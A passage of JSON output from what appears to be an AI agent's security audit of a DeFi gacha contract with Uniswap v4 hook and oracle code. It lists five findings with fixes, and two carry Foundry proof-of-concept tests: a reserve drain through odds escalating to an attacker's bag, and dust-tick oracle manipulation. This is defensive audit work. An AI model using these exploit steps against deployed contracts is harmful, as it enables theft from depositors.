requestRandomWordsInNative(uint32, uint16, uint32, bytes calldata) external payable returns (uint256) {\n last += 1;\n return last;\n }\n\n function fulfill(address consumer, uint256 id, uint256 word) external {\n uint256[] memory w = new uint256[](1);\n w[0] = word;\n BagGacha(payable(consumer)).rawFulfillRandomWords(id, w);\n }\n}\n\ncontract Sink {\n function depositPOL() external payable {}\n function depositBurn() external payable {}\n}\n\n/// @notice A depositor who controls the mature inventory gets the odds of every empty tier moved UP to its own\n/// bag: one large-tier Bag receives 100% of the regular-lane odds, so every regular draw pays it 95% of its\n/// value from the reserve for a 0.01 ETH spin.\ncontract OddsEscalationDrainTest is Test {\n BagGacha gacha;\n DrainToken token;\n DrainVRF vrf;\n address attacker = address(0xA11CE);\n\n function setUp() public {\n vm.warp(1_000_000);\n token = new DrainToken();\n vrf = new DrainVRF();\n DrainVault vault = new DrainVault(address(0xB0B)); // GOLD is some other address\n gacha = new BagGacha(\n address(new DrainOracle()),\n address(vault),\n address(0xCAFE), // nft: never called on this path\n address(vrf),\n address(new Sink()),\n address(0x7EA0),\n block.timestamp,\n address(this)\n );\n vm.deal(address(this), 100 ether);\n gacha.fundReserve{value: 4 ether}();\n token.transfer(attacker, 1000 ether);\n vm.deal(attacker, 10 ether);\n vm.warp(block.timestamp + gacha.HOLDER_WINDOW());\n }\n\n function testEmptyTierOddsMustNotEscalateToTheOnlyBag() public {\n // one large-tier Bag: 59 tokens = 0.059 ETH (large tier is [2P, 6P)), under 5% of the 4 ETH reserve\n address[] memory toks = new address[](1);\n toks[0] = address(token);\n uint256[] memory amts = new uint256[](1);\n amts[0] = 59 ether;\n vm.startPrank(attacker);\n token.approve(address(gacha), type(uint256).max);\n gacha.seal(toks, amts);\n vm.warp(block.timestamp + gacha.MATURATION());\n\n uint256 reserveBefore = gacha.reserve();\n (uint256 price,) = gacha.spinPrice();\n uint256 id = gacha.spin{value: price}();\n vm.stopPrank();\n\n (,,,, uint256[4] memory odds,) = gacha.currentRequest();\n emit log_named_uint(\"effective odds of the only (large) tier\", odds[2]);\n\n // Drive the draw to the end to show the flow: every word selects the attacker's Bag.\n vrf.fulfill(address(gacha), id, uint256(keccak256(\"any word\")));\n uint256 alloc = gacha.draw();\n vm.warp(block.timestamp + gacha.CHOICE_WINDOW());\n gacha.finalize(alloc);\n emit log_named_uint(\"reserve before\", reserveBefore);\n emit log_named_uint(\"reserve after one spin\", gacha.reserve());\n emit log_named_uint(\"attacker credit after paying 0.0105 ETH\", gacha.credits(attacker));\n\n // The large tier's base odds are 650 bps; it may absorb the jackpot tier's 50 bps moving DOWN, but the\n // small and medium tiers' 9300 bps must never move UP into it.\n assertLe(odds[2], 650 + 50, \"empty lower tiers' odds escalated to the only bag\");\n }\n}","reproduction":"Reserve 4 ETH (fundReserve). Attacker seals one Bag of a listed token worth 0.059 ETH (large tier, under 5% of reserve), waits 24 h, calls spin() paying P + VRF fee = 0.0105 ETH while the Genesis lane is unavailable (vault quote 0 or GOLD stale). Expected: the large tier keeps at most its 650 bps plus the jackpot tier's 50 bps; the 9300 bps of the empty small and medium tiers do not become a win of the only Bag. Actual: currentRequest().odds == [0,0,10000,0]; any VRF word selects the attacker's Bag; after draw() and finalize() credits[attacker] = 0.05605 ETH and reserve falls from 4.0 to 3.95275 ETH; the attacker pulls the 59 tokens back with claimBag and re-seals them. Repeating drains the reserve by about 1.2% per spin at this size and about 4.75% per regular spin once the reserve is 14 ETH and a 0.7 ETH Bag is listed. test/scratch/OddsEscalationDrain.t.sol fails on this code (10000 > 700).","severity":"high","snippet":" for (uint256 k = t + 1; k < 4 && !moved; ++k) {","title":"Empty-tier odds escalate upward: whoever controls the mature inventory wins every regular draw at 95% of value, draining the reserve"},{"citation":"resolved","description":"_edge stops at the first initialized tick in each direction and balances() counts only the liquidity released between the spot price and that tick, scaled by the band factor upper/(upper - sqrtP) = 21. A position of 1 wei of liquidity with a boundary tick within one tick spacing of the price (spacing 60: at most 0.3% of sqrt price) caps the measured side at about 0.3% * 21 = 6.3% of the virtual reserve, so every pool with under about 79 ETH of virtual reserve per side fails MIN_LIQUIDITY. Worse, slot0 after a price-limited swap is (sqrtPriceAtTick(t), t-1) for zeroForOne or (sqrtPriceAtTick(t), t) for oneForZero, so a swap whose sqrtPriceLimitX96 equals an initialized tick's price leaves end0 == sqrtPrice (or end1 == sqrtPrice) and the measured depth is exactly 0. Cost: dust and gas, once; a handful of positions spaced across the band hold the state wherever the price drifts, and the pin swap can be placed in front of a specific spin request. Consequences on this tree: valueInEth reverts, so seal() of that token reverts; bagPayout reverts and the token's Bags are skipped by every snapshot (not drawable, which also tilts the draw towards the attacker's own Bags); payoutCap is unavailable; withdraw() waives the 0.5% exit fee. draw(), choose/finalize, claimBag and cancelRequest never call the oracle, so no funds are locked and depositors exit after maturation. The Genesis lane is not affected: the hook admits only full-range positions and genesisEthHeld walks no ticks. README documents the limitation, but the attack is cheaper and more complete than 'may reject otherwise usable pools' suggests. Fix: inside the fixed band walk a small bounded number of initialized ticks (for example 8 per direction) reading ticks(t).liquidityNet, carrying L' = L +/- liquidityNet across each crossing and using min(L', harmonicBound) for the next segment, so a dust tick releases the same amounts while JIT liquidity in the band stays capped by the 30-minute harmonic bound; and treat a spot price equal to an initialized tick's price as already crossed (start the search strictly beyond that tick, as the Uniswap swap loop does).","line":74,"path":"src/v3/V3Depth.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {V3Depth} from \"src/v3/V3Depth.sol\";\nimport {TickMath} from \"src/TickMath.sol\";\n\n/// @dev A v3 pool's tick bitmap and tick table, enough for V3Depth (and for a fix that walks liquidityNet).\ncontract DustPool {\n int24 public tickSpacing = 60;\n mapping(int16 => uint256) public tickBitmap;\n mapping(int24 => int128) public liquidityNetOf;\n\n function initTick(int24 tick, int128 net) external {\n int24 compressed = tick / tickSpacing;\n tickBitmap[int16(compressed >> 8)] |= 1 << uint8(uint24(compressed));\n liquidityNetOf[tick] = net;\n }\n\n function ticks(int24 tick)\n external\n view\n returns (uint128 liquidityGross, int128 liquidityNet, uint256, uint256, int56, uint160, uint32, bool)\n {\n int128 net = liquidityNetOf[tick];\n return (uint128(net < 0 ? -net : net), net, 0, 0, 0, 0, 0, net != 0);\n }\n}\n\ncontract DepthHarness {\n function balances(address pool, uint160 price, int24 tick, uint128 l) external view returns (uint256, uint256) {\n return V3Depth.balances(pool, price, tick, l);\n }\n}\n\n/// @notice A 1-wei-liquidity position whose tick is within one spacing of the price caps the measured depth at a\n/// sliver of the real depth; a swap that stops exactly at an initialized tick measures zero.\ncontract DustTickDepthTest is Test {\n DustPool pool;\n DepthHarness depth;\n uint160 constant P = 1 << 96; // price 1, tick 0\n uint128 constant L = 100 ether; // 100 ETH virtual reserve on each side\n\n function setUp() public {\n pool = new DustPool();\n depth = new DepthHarness();\n }\n\n function testOneDustTickWithinOneSpacingMakesA100EthPoolThin() public {\n (uint256 a0, uint256 a1) = depth.balances(address(pool), P, 0, L);\n assertApproxEqRel(a0, 100 ether, 1e15);\n assertApproxEqRel(a1, 100 ether, 1e15);\n\n // Attacker: position [60, 120] with 1 wei of liquidity (dust of both tokens, left forever).\n pool.initTick(60, 1);\n pool.initTick(120, -1);\n (a0, a1) = depth.balances(address(pool), P, 0, L);\n emit log_named_decimal_uint(\"token0 depth seen with one dust tick at +60\", a0, 18);\n // A 1-wei position changes the pool's real depth by nothing; the measured ETH side must not drop below\n // half of the 100 ETH the active liquidity really backs across the band.\n assertGe(a0, 50 ether, \"one dust tick made the pool unpriceable\");\n }\n\n function testSwapParkedExactlyAtAnInitializedTickMeasuresZero() public {\n pool.initTick(60, 1);\n pool.initTick(120, -1);\n // A zeroForOne swap with sqrtPriceLimitX96 == sqrtPriceAtTick(60) ends with slot0 = (price(60), tick 59).\n uint160 pinned = TickMath.sqrtPriceAtTick(60);\n (uint256 a0,) = depth.balances(address(pool), pinned, 59, L);\n emit log_named_uint(\"token0 depth seen when parked at tick 60\", a0);\n assertGt(a0, 0, \"parked at the tick: zero depth, every quote reverts ThinPool\");\n }\n}","reproduction":"V3Depth.balances(pool, sqrtPrice = 2^96 (tick 0), tick 0, L = 100e18) on a spacing-60 pool with no initialized ticks returns about 100 ETH on both sides. Add a 1-wei position [60,120] (bitmap bit of compressed tick 1 set): expected a token0 side still near 100 ETH (the position changes real depth by nothing); actual amount0 = 6.290245407412639953 ETH, so a 50 ETH pool reports about 3.1 ETH and reverts ThinPool on every quote. Then a zeroForOne swap with sqrtPriceLimitX96 = sqrtPriceAtTick(60): slot0 = (sqrtPriceAtTick(60), 59); balances returns amount0 = 0 and TwapOracle reverts ThinPool for every valueInEth / valueAndCap / seal of that token. test/scratch/DustTickDepth.t.sol fails on this code with those values.","severity":"medium","snippet":" if (bitmap != 0) return price;","title":"One dust tick within a spacing of the price, or a swap parked exactly on an initialized tick, makes any listed token unpriceable (ThinPool)"},{"citation":"resolved","description":"The runbook (path A) requires the preflight to pass before the NFT owner names targets. The check demands balanceOf(vault) == genesisSupply, but anyone can transfer GOLD to the vault address and nothing can ever remove it (the vault only pays claims and dividends). GenesisVault.quote() itself only needs balanceOf >= genesisSupply - withdrawn, so overfunding is harmless on chain while the script refuses forever. Operators would have to edit the script under time pressure, which is exactly the situation the preflight exists to avoid. Fix: reject underfunding only (<) and log any surplus.","line":25,"path":"script/CheckLaunch.s.sol","reproduction":"State: vault funded with exactly genesisSupply; any account sends 1 wei of GOLD to the vault. Expected: forge script CheckLaunch --sig 'run(address,address)' passes (the vault holds at least what it owes). Actual: it reverts WrongFunding() and keeps reverting on every later run.","severity":"low","snippet":" if (IERC20(hook.token()).balanceOf(address(vault)) != vault.genesisSupply()) revert WrongFunding();","title":"CheckLaunch preflight requires exact vault funding, so 1 wei of GOLD donated to the vault bricks the operator check"},{"citation":"resolved","description":"GoldHook writes an observation only when a swap happens, so the staleness check measures time since the last GOLD trade rather than whether the ring can still be read (observe() extrapolates from the last observation correctly). After 3600 s without a trade _checkGenesisPool reverts StalePool; _commitGenesis catches it and the request proceeds with genesisBps = 0, so free spins revert NothingToDraw and paid spins become 100% regular draws (which amplifies the odds-escalation finding). POLManager.buyAndBurn and addLiquidity revert through polTokensForEth in the same state. Anyone can refresh with a dust swap, so this is liveness rather than a lock, and it matches the documented design; recorded as a trust/operations note.","line":240,"path":"src/TwapOracle.sol","reproduction":"GOLD pool initialized and seasoned; no swap for 3601 s. Expected per README: GOLD stays priced while the ring is current. Actual: TwapOracle.valueInEth(GOLD, x), tokensForEth(GOLD, x), polTokensForEth(x) and genesisValueAndCap(x) revert StalePool(hook); BagGacha.freeSpin reverts NothingToDraw; POLManager.buyAndBurn reverts.","severity":"info","snippet":" if (block.timestamp > uint256(goldHook.lastObservationTimestamp()) + MAX_STALENESS) revert StalePool(hook);","title":"Genesis lane and GOLD quotes stop after any hour without a swap because observations are written only in beforeSwap"},{"citation":"resolved","description":"Verified in this review: under FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none the BagGacha runtime hashes to 0xbdb13664f85a03997922c0678be6c02e83716a9d7b24e0cd231ae51a3c8af1ad, REQUIRED_FLAGS == 0x38CC, getHookPermissions() matches it bit for bit, and the full suite passes (198 passed, 2 fork suites skipped). The protected foundry.toml pins via_ir = true, so a deployer that builds from the repository configuration ships a different runtime, bindCheck returns CodeMismatch for every candidate, and the hook's reserve share (reserveAccrued) can never be flushed to any gacha. CheckLaunch.s.sol catches this before targets are named (WrongRuntimeCode) and the tests refuse default-profile code, so this is an operational trust point rather than a code defect. After a correct preflight the remaining lock paths are the documented ones: release() freezing wrongly named targets, and the NFT owner retargeting after bind (splits escrow from hook fees, does not lock the hook reserve). No new on-chain lock path was found.","line":95,"path":"src/GoldHook.sol","reproduction":"State: BagGacha deployed from a build with via_ir = true (the default profile). Expected: bindGacha succeeds after the review period. Actual: bindCheck returns CodeMismatch forever; hook reserveAccrued keeps growing with no recipient.","severity":"info","snippet":" bytes32 public constant GACHA_RUNTIME_CODE_HASH =","title":"Binding depends on the launch build profile: a BagGacha compiled with the repository default profile (via_ir = true) never matches GACHA_RUNTIME_CODE_HASH"}],"hash":"ffbc32b7b56438e140e24497d3045cd04ce5dbb4722c5e06e199413c9b44dbf0","nodeId":"c4632d0f-1bca-4046-8d75-abf27cedba70","outcome":"completed","summary":"No tracked file changed (the listed untracked entries are the sandbox's own device nodes, not mine). The review is complete and `.imd-findings.json` holds five findings, two with failing Foundry proofs.\n\n## Recap\n\n**Verified under the launch profile** (FOUNDRY_VIA_IR=false, FOUNDRY_BYTECODE_HASH=none): BagGacha runtime hash equals the pinned `0xbdb1…8f1ad`, REQUIRED_FLAGS is 0x38CC and `getHookPermissions()` matches it, all contracts under EIP-170, and the full suite passes with the report's seed (198 passed, 2 fork suites skipped). Every 930ea061 fix in point 1 is present and correct: full-range-only `beforeAddLiquidity`, max quote in POLManager versus min in GenesisVault, harmonic 30-minute L and band scaling in V3Depth, Genesis depth at max(spot, 4h) price with min(now, 30m, 4h) liquidity, `seal` refusing GOLD, `bindCheck` plus CheckLaunch, the exclusive VRF deadline, and the path A funding check. Hook accounting, reentrancy guards, the VRF cancel race and the bind flow against the deployed GoblinNFT showed no new on-chain lock path.\n\n**Findings written** (most severe first):\n\n- **High, with proof**: empty-tier odds move up to higher tiers. A depositor controlling the mature inventory gets 100% of regular-lane odds on one top-value bag and is paid 95% of it from the reserve per 0.0105 ETH spin. The proof test shows odds of 10000 bps on a lone large-tier bag, 0.056 ETH credited after one spin against a 4 ETH reserve. Fix: never escalate odds upward, route them to no-win or the Genesis lane, and bound regular payouts to spin income.\n- **Medium, with proof**: V3Depth stops at the first initialized tick, so a 1-wei position within one spacing collapses a 100 ETH pool's measured depth to 6.29 ETH, and a swap parked exactly on an initialized tick measures zero. Effect is seal refusal, snapshot exclusion and a waived exit fee, not locked funds. Fix: walk a bounded number of in-band ticks with liquidityNet under the harmonic cap, and treat a price sitting on a tick as crossed.\n- **Low**: CheckLaunch's exact funding equality is bricked by a 1-wei GOLD donation to the vault.\n- **Info**: GOLD quotes and the Genesis lane stop after one hour without a swap. Info: binding depends on building with the launch profile, not the repository's via_ir default.\n\nOracle manipulation at the minimum depths, rounding in the band math, counter wrap and both token orders were checked and produced no reportable defect. Slither was not run, per the task's tool rules.","treeHash":null,"usage":{"cachedInputTokens":2063466,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":59535,"runtime":"claude","turns":26,"wallClockMs":942586}}],"verification":[]}